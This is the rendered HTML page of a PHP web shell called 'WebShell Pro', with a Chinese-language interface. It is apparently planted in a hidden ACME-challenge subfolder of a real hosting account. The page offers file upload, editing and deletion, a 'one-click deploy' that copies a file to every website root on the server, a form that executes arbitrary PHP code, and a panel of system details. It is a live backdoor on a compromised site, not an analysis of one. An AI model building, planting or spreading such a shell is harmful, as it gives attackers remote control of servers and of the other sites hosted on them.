<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebShell Pro</title>
<style>
* { margin:0; padding:0; box-sizing:border-box; font-family:'Segoe UI',system-ui,sans-serif; }
body { background:#0a0e27; color:#e0e0e0; min-height:100vh; }
.header { background:linear-gradient(135deg,#1a1f3a,#2a2f5a); padding:15px 25px; display:flex; justify-content:space-between; align-items:center; border-bottom:2px solid #4a4f8a; }
.header h1 { font-size:22px; background:linear-gradient(135deg,#667eea,#764ba2); -webkit-background-clip:text; -webkit-text-fill-color:transparent; }
.stats { display:flex; gap:15px; font-size:13px; color:#8899cc; }
.stats span { background:rgba(255,255,255,0.08); padding:5px 12px; border-radius:15px; }
.nav { display:flex; gap:5px; background:#151938; padding:8px; margin:15px 25px; border-radius:10px; }
.nav button { flex:1; padding:10px; border:none; background:transparent; color:#8899cc; border-radius:8px; cursor:pointer; transition:all 0.3s; font-size:13px; }
.nav button:hover { background:rgba(102,126,234,0.15); color:#fff; }
.nav button.active { background:linear-gradient(135deg,#667eea,#764ba2); color:#fff; }
.content { display:none; margin:0 25px; animation:fadeIn 0.3s; }
.content.active { display:block; }
@keyframes fadeIn { from { opacity:0; transform:translateY(10px); } to { opacity:1; transform:translateY(0); } }
.path { background:#151938; padding:10px 15px; border-radius:8px; margin-bottom:15px; font-size:13px; }
.path a { color:#667eea; text-decoration:none; margin:0 3px; }
.path a:hover { text-decoration:underline; }
.alert { padding:12px 18px; border-radius:8px; margin-bottom:15px; border-left:4px solid; }
.alert.success { background:rgba(16,185,129,0.1); border-color:#10b981; color:#6ee7b7; }
.alert.error { background:rgba(239,68,68,0.1); border-color:#ef4444; color:#fca5a5; }
.alert.info { background:rgba(59,130,246,0.1); border-color:#3b82f6; color:#93c5fd; }
.alert pre { margin-top:8px; background:#0a0e27; padding:10px; border-radius:5px; overflow-x:auto; }
.toolbar { display:flex; gap:10px; flex-wrap:wrap; margin-bottom:15px; }
.toolbar form { display:flex; gap:8px; align-items:center; }
.toolbar input,.toolbar select,.toolbar button { padding:8px 12px; background:#151938; border:1px solid #2a2f5a; border-radius:6px; color:#e0e0e0; font-size:12px; outline:none; }
.toolbar input:focus { border-color:#667eea; }
.toolbar button { background:linear-gradient(135deg,#667eea,#764ba2); border:none; cursor:pointer; transition:transform 0.2s; }
.toolbar button:hover { transform:translateY(-1px); }
.file-grid { display:grid; grid-template-columns:repeat(auto-fill,minmax(190px,1fr)); gap:12px; }
.file-item { background:#151938; border:1px solid #2a2f5a; border-radius:10px; padding:15px; text-align:center; transition:all 0.2s; cursor:pointer; }
.file-item:hover { border-color:#667eea; transform:translateY(-2px); box-shadow:0 5px 20px rgba(102,126,234,0.2); }
.file-icon { font-size:30px; margin-bottom:8px; }
.file-name { font-size:12px; word-break:break-all; margin-bottom:8px; }
.file-actions { display:flex; gap:4px; justify-content:center; flex-wrap:wrap; }
.btn-sm { padding:4px 8px; border-radius:4px; font-size:10px; border:none; cursor:pointer; transition:all 0.2s; text-decoration:none; }
.btn-view { background:rgba(59,130,246,0.2); color:#93c5fd; }
.btn-edit { background:rgba(139,92,246,0.2); color:#c4b5fd; }
.btn-down { background:rgba(16,185,129,0.2); color:#6ee7b7; }
.btn-del { background:rgba(239,68,68,0.2); color:#fca5a5; }
.btn-sm:hover { filter:brightness(1.2); }
.card { background:#151938; border:1px solid #2a2f5a; border-radius:10px; padding:20px; margin-bottom:15px; }
.card h3 { margin-bottom:15px; color:#8899cc; font-size:15px; }
.form-group { margin-bottom:12px; }
.form-group label { display:block; margin-bottom:5px; font-size:12px; color:#8899cc; }
.form-group textarea,.form-group input,.form-group select { width:100%; padding:8px 12px; background:#0a0e27; border:1px solid #2a2f5a; border-radius:6px; color:#e0e0e0; font-size:12px; outline:none; }
.form-group textarea:focus { border-color:#667eea; }
.form-group textarea { min-height:100px; resize:vertical; font-family:monospace; }
.row { display:grid; grid-template-columns:1fr 1fr; gap:15px; }
.modal { display:none; position:fixed; top:0; left:0; right:0; bottom:0; background:rgba(0,0,0,0.7); z-index:1000; align-items:center; justify-content:center; }
.modal.active { display:flex; }
.modal-content { background:#1a1f3a; border:1px solid #4a4f8a; border-radius:15px; padding:25px; width:700px; max-width:90%; max-height:80vh; overflow-y:auto; }
.modal-header { display:flex; justify-content:space-between; align-items:center; margin-bottom:15px; }
.modal-header h3 { color:#e0e0e0; }
.close { background:none; border:none; color:#8899cc; font-size:20px; cursor:pointer; }
.code-editor { width:100%; height:350px; padding:12px; background:#0a0e27; border:1px solid #2a2f5a; border-radius:8px; color:#e0e0e0; font-family:monospace; font-size:12px; resize:vertical; outline:none; }
@media(max-width:768px) { .header { flex-direction:column; gap:10px; } .nav { flex-wrap:wrap; } .nav button { flex:1 1 45%; } .row { grid-template-columns:1fr; } .file-grid { grid-template-columns:repeat(auto-fill,minmax(150px,1fr)); } }
</style>
</head>
<body>

<div class="header">
    <h1>⚡ WebShell Pro</h1>
    <div class="stats">
        <span>📁 0 目录</span>
        <span>📄 1 文件</span>
        <span>💾 19.7 KB</span>
        <span>🐘 PHP 8.4.12</span>
    </div>
</div>

<div class="nav">
    <button class="active" onclick="switchTab('files')">📁 文件管理</button>
    <button onclick="switchTab('deploy')">🚀 一键部署</button>
    <button onclick="switchTab('eval')">💻 PHP执行</button>
    <button onclick="switchTab('tools')">🛠️ 工具箱</button>
</div>


<div class="content active" id="tab-files">
    <div class="path">
        <a href="?path=/">🏠</a>
        /<a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ffatimasm">fatimasm</a>/<a href="?path=%2Fhome%2Ffatimasm%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known">.well-known</a>/<a href="?path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge">acme-challenge</a>/<a href="?path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge%2FSimplePie">SimplePie</a>    </div>
    
    <div class="toolbar">
        <form method="post" enctype="multipart/form-data" action="?act=upload&path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge%2FSimplePie">
            <input type="file" name="file" required>
            <button type="submit">📤 上传</button>
        </form>
        <form method="get">
            <input type="hidden" name="path" value="/home/fatimasm/public_html/.well-known/acme-challenge/SimplePie">
            <input type="text" name="dir" placeholder="目录名" required>
            <button type="submit" name="act" value="mkdir">📁 新建</button>
        </form>
    </div>
    
    <div class="file-grid">
                <div class="file-item">
            <div class="file-icon">📄</div>
            <div class="file-name">
                                    index.php                            </div>
            <div class="file-actions">
                                    <a class="btn-sm btn-view" href="#" onclick="openEditor('index.php')">查看</a>
                    <a class="btn-sm btn-edit" href="#" onclick="openEditor('index.php')">编辑</a>
                    <a class="btn-sm btn-down" href="?act=download&file=index.php&path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge%2FSimplePie">下载</a>
                                <a class="btn-sm btn-del" href="?act=delete&file=index.php&path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge%2FSimplePie" onclick="return confirm('确认删除？')">删除</a>
            </div>
        </div>
            </div>
</div>

<div class="content" id="tab-deploy">
    <div class="card">
        <h3>🚀 一键部署到全站根目录</h3>
        <p style="color:#8899cc;font-size:12px;margin-bottom:15px;">将文件复制到服务器上所有网站的根目录（public_html, www, htdocs等）</p>
        <form method="get" class="row">
            <input type="hidden" name="path" value="/home/fatimasm/public_html/.well-known/acme-challenge/SimplePie">
            <div class="form-group">
                <label>选择文件</label>
                <select name="file" required>
                    <option value="">-- 选择 --</option>
                                        <option value="index.php">index.php</option>
                                    </select>
            </div>
            <div class="form-group">
                <label>额外目录（可选，逗号分隔）</label>
                <input type="text" name="extra" placeholder="/home/user1/www, /var/www/html">
            </div>
            <div style="grid-column:1/-1;">
                <button type="submit" name="act" value="deploy" class="btn-sm" style="padding:10px 25px;font-size:13px;background:linear-gradient(135deg,#667eea,#764ba2);border:none;border-radius:6px;color:#fff;cursor:pointer;" onclick="return confirm('确认部署到所有网站根目录？')">🚀 一键部署</button>
            </div>
        </form>
    </div>
</div>

<div class="content" id="tab-eval">
    <div class="card">
        <h3>💻 PHP代码执行</h3>
        <p style="color:#fca5a5;font-size:12px;margin-bottom:15px;">⚠️ 高危操作，请谨慎使用！</p>
        <form method="post" action="?act=eval&path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge%2FSimplePie">
            <div class="form-group">
                <label>PHP代码</label>
                <textarea name="code" rows="8" placeholder="echo 'Hello World!';
print_r(scandir('.'));
phpinfo();" required></textarea>
            </div>
            <div style="display:flex;gap:8px;margin-bottom:15px;flex-wrap:wrap;">
                <button type="button" class="btn-sm btn-view" onclick="insertCode('echo \"Hello World!\";')">Hello World</button>
                <button type="button" class="btn-sm btn-view" onclick="insertCode('print_r(scandir(\".\"));')">扫描目录</button>
                <button type="button" class="btn-sm btn-view" onclick="insertCode('phpinfo();')">PHP信息</button>
                <button type="button" class="btn-sm btn-view" onclick="insertCode('echo \"当前用户: \" . get_current_user();')">当前用户</button>
            </div>
            <button type="submit" style="padding:10px 25px;background:linear-gradient(135deg,#667eea,#764ba2);border:none;border-radius:6px;color:#fff;cursor:pointer;font-size:13px;" onclick="return confirm('确认执行PHP代码？')">▶️ 执行代码</button>
        </form>
    </div>
</div>

<div class="content" id="tab-tools">
    <div class="row">
        <div class="card">
            <h3>📊 系统信息</h3>
            <div style="font-size:12px;line-height:1.8;">
                <div>PHP版本: 8.4.12</div>
                <div>服务器: LiteSpeed</div>
                <div>系统: Linux 4.18.0-553.84.1.lve.el8.x86_64</div>
                <div>内存限制: 512M</div>
                <div>上传限制: 512M</div>
                <div>时区: UTC</div>
            </div>
        </div>
        <div class="card">
            <h3>🔐 密码生成</h3>
            <form method="get" action="?path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge%2FSimplePie">
                <div class="form-group">
                    <label>密码长度</label>
                    <input type="number" name="len" value="16" min="8" max="64">
                </div>
                <button type="submit" name="act" value="genpw" style="padding:8px 20px;background:linear-gradient(135deg,#667eea,#764ba2);border:none;border-radius:6px;color:#fff;cursor:pointer;">🎲 生成密码</button>
            </form>
                    </div>
    </div>
</div>

<!-- 编辑器模态框 -->
<div class="modal" id="editorModal">
    <div class="modal-content">
        <div class="modal-header">
            <h3>✏️ 文件编辑器</h3>
            <button class="close" onclick="closeModal()">×</button>
        </div>
        <form method="post" id="editForm">
            <input type="hidden" name="file" id="editFile">
            <textarea class="code-editor" name="content" id="editContent"></textarea>
            <div style="display:flex;gap:10px;justify-content:flex-end;margin-top:15px;">
                <button type="button" onclick="closeModal()" style="padding:8px 20px;background:#2a2f5a;border:none;border-radius:6px;color:#e0e0e0;cursor:pointer;">取消</button>
                <button type="submit" style="padding:8px 20px;background:linear-gradient(135deg,#667eea,#764ba2);border:none;border-radius:6px;color:#fff;cursor:pointer;">💾 保存</button>
            </div>
        </form>
    </div>
</div>

<script>
function switchTab(tab) {
    document.querySelectorAll('.content').forEach(el => el.classList.remove('active'));
    document.querySelectorAll('.nav button').forEach(el => el.classList.remove('active'));
    document.getElementById('tab-' + tab).classList.add('active');
    event.target.classList.add('active');
}

function openEditor(filename) {
    fetch('?act=edit&file=' + encodeURIComponent(filename) + '&path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge%2FSimplePie')
        .then(r => r.text())
        .then(content => {
            document.getElementById('editFile').value = filename;
            document.getElementById('editContent').value = content;
            document.getElementById('editForm').action = '?act=edit&file=' + encodeURIComponent(filename) + '&path=%2Fhome%2Ffatimasm%2Fpublic_html%2F.well-known%2Facme-challenge%2FSimplePie';
            document.getElementById('editorModal').classList.add('active');
        });
}

function closeModal() {
    document.getElementById('editorModal').classList.remove('active');
}

function insertCode(code) {
    const ta = document.querySelector('textarea[name="code"]');
    ta.value += code + '\n';
    ta.focus();
}

document.addEventListener('keydown', e => {
    if (e.ctrlKey && e.key === 's' && document.getElementById('editorModal').classList.contains('active')) {
        e.preventDefault();
        document.querySelector('#editForm button[type="submit"]').click();
    }
    if (e.key === 'Escape') closeModal();
});

document.getElementById('editorModal').addEventListener('click', e => {
    if (e.target === document.getElementById('editorModal')) closeModal();
});
</script>
</body>
</html>